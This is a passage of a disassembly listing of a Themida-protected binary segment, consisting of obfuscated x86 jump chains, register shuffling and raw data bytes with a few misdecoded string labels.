Themida_:005622EDj add edx, ebp sub edx, 1C3A4C97h push ebx mov ebx, 0B5F0BFAh sub edx, ebx pop ebx jmp loc_555722 ; --------------------------------------------------------------------------- loc_55ECD2: ; CODE XREF: Themida_:0055978Fj add ecx, edi pop edi not ecx sub ecx, 898FC7ADh add edx, ecx mov ecx, [esp] jmp loc_556864 ; --------------------------------------------------------------------------- loc_55ECE7: ; CODE XREF: Themida_:00559E4Fj inc edi add edi, 0F4ACB103h or ebp, edi pop edi add ebp, 3D947E70h shl ebp, 5 shl ebp, 5 sub ebp, 0C5DA92DBh jmp loc_55F9A8 ; --------------------------------------------------------------------------- dd 4C181h, 0E9810000h, 4, 5C240C87h, 5E243C89h, 0FF8D49E9h dd 4EC81FFh, 0E9000000h, 1CCAh, 0B850C329h, 76872999h dd 1CE3C381h, 0C3014343h, 1CE3EB81h, 8B584343h, 0C4832404h dd 68C32904h, 836h, 0E9240489h, 0FFFF9FF6h, 31241433h dd 69E92414h, 56000012h, 611687BEh, 272EE93Bh, 0E9010000h dd 83242C8Bh, 0C3304C4h, 240C3124h, 8B240C33h, 31662424h dd 0E99C2404h, 0FFFF3E2Fh, 685EF329h, 698Eh, 68243C89h dd 3E436B71h, 0ACFE9h, 24048B00h, 4C481h, 55530000h, 6B51C3BDh dd 585FBB57h, 8143100Fh, 433DE3EBh, 75E38176h, 812F6050h dd 2B41B2F3h, 0E9EB315Eh, 4AC3h, 0CE81DEF7h, 329620F9h dd 4E9DEF7h, 83FFFF5Ah, 36E904ECh db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EDE7: ; CODE XREF: Themida_:00556C1Cj add ebp, 4 sub esp, 4 jmp loc_561A4F ; --------------------------------------------------------------------------- dd 40476856h, 348B0D48h, 4C48124h, 0D1000000h, 42F681EEh dd 811A3777h, 0F30F3DEEh, 5EF28908h, 2313BF57h, 0CF8139DFh dd 13D03244h, 0FF9E45E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE29: ; CODE XREF: Themida_:00557C3Bj xor bh, 0CCh xchg al, bh dec al xchg al, bh xor bh, 0CDh add al, bh mov ebx, [esp] add esp, 4 push dx mov dh, al push ebx mov bl, cl jmp loc_55CD00 ; --------------------------------------------------------------------------- loc_55EE4C: ; CODE XREF: Themida_:005538F6j add dword ptr [esp], 4 pop edx jmp loc_557E3A ; --------------------------------------------------------------------------- db 50h, 0B8h, 0E8h dd 81423F02h, 7B12B9EBh, 81C3012Ah, 7B12B9C3h, 967AE92Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE72: ; CODE XREF: Themida_:00563080j sub edx, esi pop esi push ebp mov ebp, 5CE03FC5h jmp loc_566D10 ; --------------------------------------------------------------------------- loc_55EE80: ; CODE XREF: Themida_:0055F4EBj mov eax, esp jmp loc_561F9D ; --------------------------------------------------------------------------- db 43h dd 6B37F381h, 0EB816447h, 484819CCh, 0E905EBC1h, 0FFFF6785h dd 6F89E957h, 0D1F60000h, 3084C180h, 240C8BCEh, 417FE9h db 0 ; --------------------------------------------------------------------------- loc_55EEB1: ; CODE XREF: Themida_:005588CFj movzx ax, byte ptr [eax] jmp loc_55FC4B ; --------------------------------------------------------------------------- dw 1C89h dd 4BB24h, 0D9890000h, 0FF7B4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EEC9: ; CODE XREF: Themida_:0055D61Bj shl esi, 8 jmp loc_55E3FF ; --------------------------------------------------------------------------- db 5Ch, 0C0h, 0E4h dd 0FFC48005h, 0E918F480h, 0FFFFAEB8h, 0AAE9D388h, 83FFFF82h dd 0FF042404h, 525D2434h, 25D2E9h, 2C48100h, 57000000h dd 37B5E9h, 38E95C00h, 0F6FFFF8Ah, 68D7h, 3C280000h, 0F5FBE924h db 2 dup(0FFh) word_55EF16 dw 2868h ; DATA XREF: Themida_:00552B44o dd 89000068h, 5A502414h, 8904EC83h, 4812414h, 0A25A7224h dd 2434FF2Ah, 0E3895358h, 4C381h, 0C3830000h, 241C8704h dd 0CFBA525Ch, 813AB621h, 510C9CF2h, 0FFEA812Fh, 0F7FFFFFFh dd 74F2E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF5A: ; CODE XREF: Themida_:00562019j sub [esp+4], edi push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push ecx mov ecx, esp push ebx mov ebx, 460C793Fh jmp loc_562B37 ; --------------------------------------------------------------------------- dd 0E904C383h, 487Bh, 0BA52h, 0DA010000h, 8B5A028Bh, 0C483241Ch dd 0BE7E904h, 77040000h, 0F0005966h, 136868h, 771AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFB6: ; CODE XREF: Themida_:00563F0Cj and edx, 3F381946h push 754Bh mov [esp], ecx mov ecx, 44244750h xor ecx, 6BE20628h and ecx, 6ECC4988h jmp loc_559789 ; --------------------------------------------------------------------------- loc_55EFDA: ; CODE XREF: Themida_:0055E4B7j sub esp, 4 mov [esp], ebx jmp loc_56497D ; --------------------------------------------------------------------------- loc_55EFE5: ; CODE XREF: Themida_:005634CDj mov esi, 3BEB5148h push edx jmp loc_562F04 ; --------------------------------------------------------------------------- loc_55EFF0: ; CODE XREF: Themida_:00558E55j push 0C8Dh mov [esp], ecx push ebp push ebx push ebp mov ebp, 4E3330B7h push ebp xor dword ptr [esp], 50161E3h pop ebx jmp loc_554859 ; --------------------------------------------------------------------------- dw 0C2BAh dd 890C487Fh, 0CD895AD1h, 83240C8Bh, 0EB8904C4h, 0EAE9535Dh db 64h, 2 dup(0) byte_55F027 db 50h ; DATA XREF: Themida_:00552B18o dd 0FEBD55h, 0E8890000h, 0E9242C8Bh, 0FFFFEE1Dh, 54243C89h dd 4C7815Fh, 56000000h, 0FF933BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F049: ; CODE XREF: Themida_:005605C7j xchg ebx, [esp] jmp loc_56172F ; --------------------------------------------------------------------------- db 58h, 31h, 0DEh dd 53241C8Bh, 0FF8DE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F05D: ; CODE XREF: Themida_:00565885j inc edx jmp loc_5581F9 ; --------------------------------------------------------------------------- loc_55F063: ; CODE XREF: Themida_:0055E065j push 0A57h mov [esp], ebp jmp loc_565D8B ; --------------------------------------------------------------------------- loc_55F070: ; CODE XREF: Themida_:0055C8A0j add esp, 4 push ebx sub esp, 4 mov [esp], esp push 28CFh mov [esp], eax mov eax, 4 add [esp+4], eax pop eax mov ebx, [esp] add esp, 4 push ecx jmp loc_566426 ; --------------------------------------------------------------------------- dw 0CE00h dd 0FFA1FEE9h, 240C89FFh, 0BF57E189h, 518565FCh, 8107E7C1h dd 4D0204C7h, 0E9F9013Dh, 0FFFFD732h, 0C6885B66h, 24048B66h dd 5302C483h, 0E38098B3h, 0E9CBFEEEh, 0FFFFA5B5h, 0BB53DDF7h dd 423A2340h, 815BDD31h, 3A67E6F5h, 6665E93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F0EE: ; CODE XREF: Themida_:0055E1D1j push 41CAh mov [esp], eax push ebx jmp loc_5611A3 ; --------------------------------------------------------------------------- dd 8EFC15Bh, 0E3EEF81h, 0FFE91602h, 89FFFFF2h, 82BD242Ch dd 0C1778514h, 8DE906EDh, 4BFFFFC8h, 25D8C381h, 0DE89FBB9h dd 0FF5086E9h, 5DE801FFh, 2C0835Dh, 2474FF50h, 24048B04h dd 8F04C483h, 248B2404h, 2886424h, 0FF8D7BE9h, 240481FFh dd 4, 8CC0E9h db 0 ; --------------------------------------------------------------------------- loc_55F155: ; CODE XREF: Themida_:00560D2Aj push eax jmp loc_55CCCA ; --------------------------------------------------------------------------- loc_55F15B: ; CODE XREF: Themida_:00553556j xor ebx, 60C79405h add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] jmp loc_554DCE ; --------------------------------------------------------------------------- loc_55F172: ; CODE XREF: Themida_:00565C8Fj mov [esp], ebx jmp loc_5542EE ; --------------------------------------------------------------------------- dw 0FE30h dd 0C37FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F182: ; CODE XREF: Themida_:0055BE53j add esp, 4 sub esp, 4 mov [esp], ebx mov bl, 29h jmp loc_55C6B0 ; --------------------------------------------------------------------------- dd 0D0321FBEh, 0FBF577Dh, 0E92E7F7Eh, 0FFFF8C0Fh ; --------------------------------------------------------------------------- loc_55F1A8: ; CODE XREF: Themida_:0055AE28j mov ebp, edi mov edi, [esp] jmp loc_5622D8 ; --------------------------------------------------------------------------- dw 0B568h dd 0E900007Ah, 8E3Bh ; --------------------------------------------------------------------------- loc_55F1BC: ; CODE XREF: Themida_:00565EF9j inc ebp jmp loc_55569B ; --------------------------------------------------------------------------- dw 566h dd 56648C0h, 57660001h, 0A23ABF66h, 66F80166h, 0C531665Fh dd 0BD665558h, 81661DF9h, 66E4A9C5h, 0A6E9E801h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F1EB: ; CODE XREF: Themida_:0055FBC1j pop edi push edx mov edx, 6F44296Fh shr edx, 4 add edx, 1 sub edx, 17794FA6h jmp loc_5594C4 ; --------------------------------------------------------------------------- db 31h dd 240C87D1h, 0FF39AEE9h, 2C8966FFh, 79BD6624h, 8865E9DDh dd 525A0000h, 36FCE9h, 2C8B5F00h, 8AE95124h, 89FFFF53h dd 0BB53243Ch, 4C04480Dh, 0BA52D3F7h, 6DB457CFh, 17CDC281h dd 0F2815939h, 94044E97h, 0A8E9D321h, 31000043h, 0C8215DE9h dd 0FFD1A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F259: ; CODE XREF: Themida_:00554854j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 0D0h mov [esp], eax jmp loc_553B3A ; --------------------------------------------------------------------------- db 4Bh, 0E9h, 0FFh dd 1FFFF44h, 0FB015AD3h, 8904EC83h, 9EBF243Ch, 29116302h dd 0BF575FFBh, 7EA117DCh, 8147DFF7h, 0B61026EFh, 65CF8176h dd 0E9283F79h, 1663h, 0FF390EE9h, 92C181FFh, 8108205Fh dd 207359C1h, 59CA011Fh, 5C241487h, 0EC83C80Fh, 243C8904h dd 5610E9h, 5311B000h, 0CB864DB3h, 3001E980h, 0E9D930CBh dd 0FFFFB876h, 0A2E9525Bh, 1FFFF54h, 98EF81D7h, 5A4A724Ah dd 0FF445EE9h, 85BB53FFh, 0E941757Dh, 0FFFFE62Ch ; --------------------------------------------------------------------------- loc_55F300: ; CODE XREF: Themida_:0055C6ABj pop ebx jmp loc_564CA6 ; --------------------------------------------------------------------------- aZsSSfb db '┤ИаА',7,'И■│',0 align 10h dd 63C38166h, 0C0B70F32h, 4A156866h, 24048966h, 0FFC8EDE9h dd 4393BEFFh, 0F1E9501Fh, 66FFFFEAh, 0B4240489h, 66E1881Bh dd 0E9CA3058h, 0FFFF911Ch, 585AB850h, 0E0C15435h, 46232D08h dd 88056BABh, 0E978012Eh, 0FFFF7833h, 815BDE01h, 26AA8EBh dd 8C39E902h, 0D9F70000h, 5930C981h, 47E924E7h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F373: ; CODE XREF: Themida_:00553260j sub ebx, 71BF73C5h jmp loc_567205 ; --------------------------------------------------------------------------- aX313LTsj db ')гX3<$1<$3<$▀$$TИ├ ',0 db 0 ; --------------------------------------------------------------------------- loc_55F393: ; CODE XREF: Themida_:00559EB7j push ebx jmp loc_560504 ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0FFFF5CCEh ; --------------------------------------------------------------------------- loc_55F3A0: ; CODE XREF: Themida_:005626A7j mov [esp], esi push 5588Ch pop esi sub esp, 4 mov [esp], edi push ebx mov ebx, 442F54E4h sub ebx, 4434AD6Fh mov edi, ebx push dword ptr [esp] pop ebx add esp, 4 mov eax, edi mov edi, [esp] push 1457h jmp loc_567CC2 ; --------------------------------------------------------------------------- loc_55F3D3: ; CODE XREF: Themida_:00567285j sub esp, 4 mov [esp], ecx push 11AB6E8Ah pop ecx push ecx not dword ptr [esp] jmp loc_55455E ; --------------------------------------------------------------------------- dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 6B6C67BBh dd 58C38127h, 530750DAh, 8B30428Fh, 8952241Ch, 4C281E2h dd 0E9000000h, 0FFFF56D5h ; --------------------------------------------------------------------------- loc_55F418: ; CODE XREF: Themida_:0055AC62j add ebp, 7FFC6CFCh neg ebp shr ebp, 2 sub ebp, 0A03B6222h sub eax, 1C3726BEh jmp loc_55E880 ; --------------------------------------------------------------------------- loc_55F433: ; CODE XREF: Themida_:00556641j push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push esi mov esi, 16660BD0h push edx push 7024h jmp loc_562220 ; --------------------------------------------------------------------------- aYIsJ db ')мY)КИнJ',0 db 0 ; --------------------------------------------------------------------------- loc_55F45F: ; CODE XREF: Themida_:00553446j sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_556891 ; --------------------------------------------------------------------------- dd 0B450C7B3h, 58E30894h, 6643E380h, 0E9102C68h, 0FFFF7191h dd 5A2414F7h, 0DCBF281h, 0D0290EEBh, 2D60E95Ah db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5643EF ; --------------------------------------------------------------------------- db 0FFh dd 3C8B2434h, 4C48124h, 83000000h, 0C38904C4h, 0FF3E0BE9h dd 2BE56FFh, 0E9000000h, 22C6h ; --------------------------------------------------------------------------- loc_55F4C4: ; CODE XREF: Themida_:00554BC8j add ebx, 4 push edx jmp loc_5587C5 ; --------------------------------------------------------------------------- dd 8104C483h, 4ECh, 6E95E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F4DE: ; CODE XREF: Themida_:00557EACj add esp, 4 add [edi+24h], esi push dword ptr [esp] mov esi, [esp] push eax jmp loc_55EE80 ; --------------------------------------------------------------------------- loc_55F4F0: ; CODE XREF: Themida_:00557FDAj mov [esp], ebx mov ebx, 343A31E3h sub esp, 4 jmp loc_56305B ; --------------------------------------------------------------------------- dd 5366D000h, 0E9527EB7h, 0FFFF9A7Ch, 24048F5Ah, 6624248Bh dd 0E9240C8Bh, 3FC0h ; --------------------------------------------------------------------------- loc_55F51C: ; CODE XREF: Themida_:0055C1D5j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_565C82 ; --------------------------------------------------------------------------- loc_55F528: ; CODE XREF: Themida_:0056127Aj xchg ebp, [esp] mov esp, [esp] push ebx jmp loc_564635 ; --------------------------------------------------------------------------- dword_55F534 dd 9C241CF7h, 0FF367EE9h, 0F3895FFFh, 5E68E95Eh ; DATA XREF: Themida_:00552AD0o db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F546: ; CODE XREF: Themida_:00554A47j dec cl xor cl, 0F0h push bx mov bl, 8Ah add cl, bl pop bx push eax jmp loc_55D5A4 ; --------------------------------------------------------------------------- db 0BAh, 0D7h, 47h dd 0D12950E9h, 0E924148Bh, 0FFFFDDCCh, 6EA2F681h, 8156423Bh dd 135F2434h, 815A3D38h, 38135FF2h, 57095E3Dh, 2434FF1Ch dd 3AFCE9h db 0 ; --------------------------------------------------------------------------- loc_55F589: ; CODE XREF: Themida_:005548F3j sub esp, 4 jmp loc_55BD16 ; --------------------------------------------------------------------------- loc_55F591: ; CODE XREF: Themida_:00562DDEj mov edi, 7D725795h sub edi, 56421842h sub edi, 49740A2h jmp loc_559E46 ; --------------------------------------------------------------------------- loc_55F5A7: ; CODE XREF: Themida_:005543CDj add ebx, 1 and ebx, 30B52023h add ebx, 0CDA4966h sub ebx, 1D8A456Bh jmp loc_55B195 ; --------------------------------------------------------------------------- db 5Dh, 56h, 0BEh dd 6B2535DBh, 0FF5EF729h, 50582434h, 0B951E089h, 41C84391h dd 438DE981h, 0C80141C8h, 83240C8Bh, 0C08304C4h, 24048704h dd 8324248Bh, 2C8904ECh, 2BD24h, 0EF010000h, 74FF575Dh dd 8F5F0424h, 248B2404h, 43E924h, 8B540000h, 54522414h dd 86DEE9h db 0 ; --------------------------------------------------------------------------- loc_55F619: ; CODE XREF: Themida_:005556CDj xor edi, edx jmp loc_5543E9 ; --------------------------------------------------------------------------- dd 8102EDC1h, 63F819EDh, 5DE829F1h, 0EF05F801h, 0FF284B5Dh dd 0E95F2434h, 7905h ; --------------------------------------------------------------------------- loc_55F63C: ; CODE XREF: Themida_:00554257j push 38B2h mov [esp], edx jmp loc_555AD2 ; --------------------------------------------------------------------------- loc_55F649: ; CODE XREF: Themida_:0055E8ECj add esp, 4 jmp loc_56499F ; --------------------------------------------------------------------------- db 66h, 21h, 4 dd 60E99C24h, 0F7FFFF35h, 8ACE81DEh, 0E95C4922h, 0FFFFE84Bh ; --------------------------------------------------------------------------- loc_55F668: ; CODE XREF: Themida_:00567D3Aj sub edx, esi pop esi xor eax, edx mov edx, [esp] add esp, 4 push edi mov edi, 1E675C4Ah sub esp, 4 mov [esp], edx jmp loc_5578C2 ; --------------------------------------------------------------------------- db 89h dd 74FF241Ch, 0E4E90424h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F693: ; CODE XREF: Themida_:00568057j pop ebx add ebx, 4 jmp loc_561555 ; --------------------------------------------------------------------------- aBxlf db '│Е▀f',0 dd 53D5F720h, 0AABA5257h, 0F7519B7Ah, 14F281DAh, 89E8A7A0h dd 0F7815AD7h, 47290815h, 0FF4C3CE9h, 240C89FFh, 0B875A1B9h dd 0FFF18113h, 2D276D6Dh, 1DB31BF5h, 246FBF57h, 0C62D3B37h dd 29500A28h, 59F4E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F6EA: ; CODE XREF: Themida_:0056661Bj pop esp jmp loc_558A54 ; --------------------------------------------------------------------------- loc_55F6F0: ; CODE XREF: Themida_:00565552j mov ecx, 6E4B062Ah jmp loc_557EC9 ; --------------------------------------------------------------------------- loc_55F6FA: ; CODE XREF: Themida_:00560B12j pop ecx sub [esp+8], ecx jmp loc_55E543 ; --------------------------------------------------------------------------- dd 42BBBD55h, 0C581442Ch, 0EDBCE3B1h, 0CAE9E909h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F717: ; CODE XREF: Themida_:0055E4EEj mov [esp], esi push 1B1Ch mov [esp], esp push ebp push edx mov edx, 76F45F5h push eax push ecx mov ecx, 6B2A14DFh xor ecx, 6C455126h mov eax, ecx mov ecx, [esp] add esp, 4 mov ebp, eax pop eax sub ebp, edx pop edx add dword ptr [esp+4], 2F7A66FCh add [esp+4], ebp jmp loc_55DAF2 ; --------------------------------------------------------------------------- loc_55F758: ; CODE XREF: Themida_:0055C8D8j sub esp, 4 jmp loc_55A37B ; --------------------------------------------------------------------------- loc_55F760: ; CODE XREF: Themida_:005636BEj mov ebp, esp add ebp, 4 push edi jmp loc_56317A ; --------------------------------------------------------------------------- word_55F76E dw 77FFh ; DATA XREF: Themida_:00552998o dd 11589D1Ch, 0E99C2404h, 0FFFF343Fh, 0EC81E389h, 4, 28BEE9h dd 80C18000h, 52FFE980h, 0E280F9B2h, 80C2FE0Ch, 0C28073E2h dd 0B36AE98Ch, 0C781FFFFh, 4, 2F3FE9h db 0 ; --------------------------------------------------------------------------- loc_55F7AD: ; CODE XREF: Themida_:00552EFEj mov [esp], edx not dword ptr [esp] pop edx sub edx, 1 xor edx, 0B8E7CA4Ah mov ecx, edx pop edx push 0 sub dword ptr [esp], 0CC10F7h sub [esp], ecx add dword ptr [esp], 0CC10F7h pop ecx push 0C33h mov [esp], ebx mov ebx, 0F6E40DBh not ebx sub ebx, 33450C6Bh and ebx, 1CE71D4Eh neg ebx inc ebx sub ebx, 2E774B41h sub ecx, ebx pop ebx add edx, ecx mov ecx, [esp] add esp, 4 push eax mov eax, 4 add edx, eax jmp loc_558DFF ; --------------------------------------------------------------------------- loc_55F816: ; CODE XREF: Themida_:00565336j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_566620 ; --------------------------------------------------------------------------- db 57h dd 42474FFh, 24048F5Fh, 0E924248Bh, 8331h dword_55F838 dd 0FF2434FFh, 0E9592434h, 59D5h ; DATA XREF: Themida_:00552A0Co ; --------------------------------------------------------------------------- loc_55F844: ; CODE XREF: Themida_:00557985j mov ecx, 363B29Eh add ecx, eax pop eax shl ecx, 5 shr ecx, 6 jmp loc_566E60 ; --------------------------------------------------------------------------- db 56h dd 0BEh, 6CC68100h, 29031955h, 6CEE81EEh, 0E9031955h, 0FFFFC061h dd 1C7835Fh, 8104E7C1h, 0CE1BAAC7h, 0E950977Ah, 0FFFFC138h ; --------------------------------------------------------------------------- loc_55F884: ; CODE XREF: Themida_:0055B249j add ebx, 16FB3452h shr ebx, 3 jmp loc_5593CB ; --------------------------------------------------------------------------- loc_55F892: ; CODE XREF: Themida_:0055CEE5j push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_556BBA ; --------------------------------------------------------------------------- db 0BFh dd 0EF33C780h, 48BC701h, 4C48324h, 555FFD01h, 42474FFh dd 13AAE9h, 81E58900h, 4C5h, 4ED8300h, 77C3E9h, 34FF5400h dd 89575A24h, 4C781E7h, 83000000h, 3C8704C7h, 0BB535C24h dd 38793CB8h, 0DBF74B4Bh, 785FE381h, 20E96A33h, 8B000053h dd 0CD22424h, 0B8E99C24h, 0F7FFFF32h, 81CA87D1h, 4A1E83C2h dd 0FFD3016Fh, 535A2434h, 0FDE9E389h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F91B: ; CODE XREF: Themida_:0056664Dj add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55DB8C ; --------------------------------------------------------------------------- db 29h dd 34875AD6h, 3C895C24h, 555F5424h, 4BDh, 2530E900h, 70E90000h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F94B: ; CODE XREF: Themida_:00554208j push edi mov edi, esp push ebp mov ebp, 308E5F04h dec ebp or ebp, 5BAB69D6h add ebp, 8450802Dh sub edi, 0EE82027h add edi, ebp add edi, 0EE82027h mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_557185 ; --------------------------------------------------------------------------- dw 5366h dd 0D3F6C388h, 2DE9D888h, 68FFFFF7h, 28FEh, 0E9241C89h dd 0FFFF5467h dword_55F9A0 dd 0E92434FFh, 0FFFF4A00h ; DATA XREF: Themida_:00552954o ; --------------------------------------------------------------------------- loc_55F9A8: ; CODE XREF: Themida_:0055ED03j add ebx, ebp pop ebp add ebx, edi sub ebx, 54F52125h push dword ptr [ebx] pop eax push dword ptr [esp] jmp loc_554470 ; --------------------------------------------------------------------------- loc_55F9BE: ; CODE XREF: Themida_:00566829j add edi, 4 jmp loc_56675D ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0B8500000h, 47114EA2h, 31E9D8F7h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F9DB: ; CODE XREF: Themida_:0055CBB4j mov edi, esp push ebx mov ebx, 531D10D3h push edi jmp loc_56220A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 0C688C888h, 0EE285958h, 369E9h, 24348900h dd 4BEh, 9FC28100h, 814BB925h, 0E77CC3EAh, 81F2015Ch, 0E77CC3C2h dd 6852575Ch, 669F6D1Bh, 8324148Bh, 0EA8104C4h, 0F70B67A3h dd 69E9D789h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55FA33: ; CODE XREF: Themida_:005616DDj sub esp, 4 mov [esp], eax jmp loc_567E01 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 34FF2434h, 24048B24h, 4C481h, 0C4830000h dd 6EE95204h, 89FFFFFEh, 83BA2414h, 810CED5Eh, 0B9AA0DC2h dd 34206812h, 34890000h, 59BB5324h, 0E9072024h, 0FFFFF69Bh dd 8769E95Dh, 3158FFFFh, 243C8BFAh, 2D04C483h, 2CB0615Ch dd 0FF6363E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FA99: ; CODE XREF: Themida_:00560D0Bj push ecx push ebp push ebx mov ebx, 27EE6BADh shr ebx, 5 jmp loc_55580A ; --------------------------------------------------------------------------- db 56h, 68h, 72h dd 5E549164h, 0FFAF13E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FAB5: ; CODE XREF: Themida_:00552D85j add esp, 4 mov edx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, edx mov edx, [esp] add esp, 4 jmp loc_565006 ; --------------------------------------------------------------------------- dd 2474FF57h, 2434FF04h, 8B2434FFh, 46E9243Ch, 9000070h dd 34FF1C47h, 2434FF24h, 4C48158h, 83000000h, 0C8904ECh dd 4EC8324h, 83242489h, 59042404h, 4BE56h, 0C1810000h dd 78BF461Fh, 0E981F101h, 78BF461Fh, 0E92434FFh, 0FFFFDF9Dh dd 0E9243C33h, 0FFFF4C87h ; --------------------------------------------------------------------------- loc_55FB38: ; CODE XREF: Themida_:0055322Cj pop eax jmp loc_554E94 ; --------------------------------------------------------------------------- dw 592Dh dd 297EA550h, 505905F8h, 15F7EA5h, 4EC81E8h, 89000000h dd 7CE92414h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB5B: ; CODE XREF: Themida_:0055D69Bj pop esp not edx inc edx shr edx, 2 add edx, 0FFFFFFFFh add edx, 0EF913D7Dh loc_55FB6E: ; CODE XREF: Themida_:00562C56j ; Themida_:loc_5668CFj push dword ptr [edi+24h] jmp loc_55D8BD ; --------------------------------------------------------------------------- loc_55FB76: ; CODE XREF: Themida_:00566B9Bj mov edx, [esp] push edx push esp jmp loc_556E54 ; --------------------------------------------------------------------------- loc_55FB80: ; CODE XREF: Themida_:00555B39j add esp, 4 or eax, eax jmp loc_55E22C ; --------------------------------------------------------------------------- db 51h, 0E9h, 0EDh dd 52FFFF84h, 78E4E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB9A: ; CODE XREF: Themida_:00557D6Bj mov ch, 13h mov dh, 54h xor dh, ch jmp loc_563069 ; --------------------------------------------------------------------------- loc_55FBA5: ; CODE XREF: Themida_:00567D2Aj mov ecx, 48110C34h push edi mov edi, 5D5D07B6h neg edi inc edi or edi, 17DF0219h sub edi, 5F8CB949h xor ecx, edi jmp loc_55F1EB ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FF8F0DE9h, 7E5605FFh, 0BE5674E8h, 6BB83C77h, 0E907E6C1h dd 0FFFFB1B0h ; --------------------------------------------------------------------------- loc_55FBE4: ; CODE XREF: Themida_:00559D14j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_564EDF ; --------------------------------------------------------------------------- loc_55FBFB: ; CODE XREF: Themida_:0055EC99j add al, 9Dh mov ecx, [esp] add esp, 4 add bl, 7Dh add bl, 53h jmp loc_55D120 ; --------------------------------------------------------------------------- loc_55FC11: ; CODE XREF: Themida_:00561D18j mov esp, [esp] mov [esp], ebx mov ebx, 28h push 7BEh jmp loc_560188 ; --------------------------------------------------------------------------- dw 460Ch dd 0B00C0904h, 0E0C0E8D0h, 0D0C83406h, 404CE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FC3A: ; CODE XREF: Themida_:0055619Bj sub esi, 3F7A7C19h mov edx, [esp] push ecx mov ecx, esp jmp loc_554417 ; --------------------------------------------------------------------------- loc_55FC4B: ; CODE XREF: Themida_:0055EEB5j push small 3117h mov [esp], ax jmp loc_552BBB ; --------------------------------------------------------------------------- dd 0C20E08BAh, 54C28154h, 0C13C894Fh, 0C28107E2h, 54A02E99h dd 236BC281h, 0D30105B1h, 44B8505Ah, 0F73AEC54h, 0ABB82DD8h dd 0C301C513h, 168E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FC8A: ; CODE XREF: Themida_:005585D0j xor edx, 94C5304Fh mov eax, edx mov edx, [esp] add esp, 4 sub eax, 3538341Eh add edx, eax pop eax push 5555h mov [esp], eax mov eax, 761D0D47h shr eax, 2 xchg eax, ebx not ebx xchg eax, ebx push esi jmp loc_552FCE ; --------------------------------------------------------------------------- loc_55FCBD: ; CODE XREF: Themida_:0055E386j mov ebp, 6D304436h or ebp, 7CD07637h inc ebp xor ebp, 7DF0763Ch add ebx, ebp pop ebp xchg ebx, [esp] jmp loc_563AB0 ; --------------------------------------------------------------------------- aQsai db 'QИ²I',0 align 10h aXbuH db 'X│Н',0Ah db 'h',0 dw 105h dd 4EE95EF1h, 81000016h, 85096FF6h, 8EEC114h, 6E91BD55h dd 0EE014902h, 12F3E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FD06: ; CODE XREF: Themida_:00567125j xor ah, 0 sub dl, ah pop eax jmp loc_55E5BC ; --------------------------------------------------------------------------- db 2Ch, 0FCh, 50h a5aX db '╢5─цx',0 aUaixx db 'Ц─КxX',0 aAi5xsU db 'ц─К5XИгU',0 align 2 dw 2C8Bh dd 4C48124h, 0E9000000h, 0FFFFB1DFh, 4C481h, 0F2010000h dd 0E904EC83h, 0FFFFF3C3h ; --------------------------------------------------------------------------- loc_55FD48: ; CODE XREF: Themida_:005672A7j pop esi add ebx, 4 xchg ebx, [esp] pop esp sub edi, esi pop esi and eax, edi pop edi push dword ptr [edi+1Ch] push 16E8h mov [esp], edx jmp loc_5632F3 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0FBE95524h, 5DFFFFB2h, 5304C483h, 7A4BE9h, 243C8900h dd 0FF6D0CE9h, 9FBB53FFh, 0E9075A56h, 6F6Ch, 2ECFC281h dd 32E97AA7h, 0FF00002Ch, 0E9042474h, 9Ah, 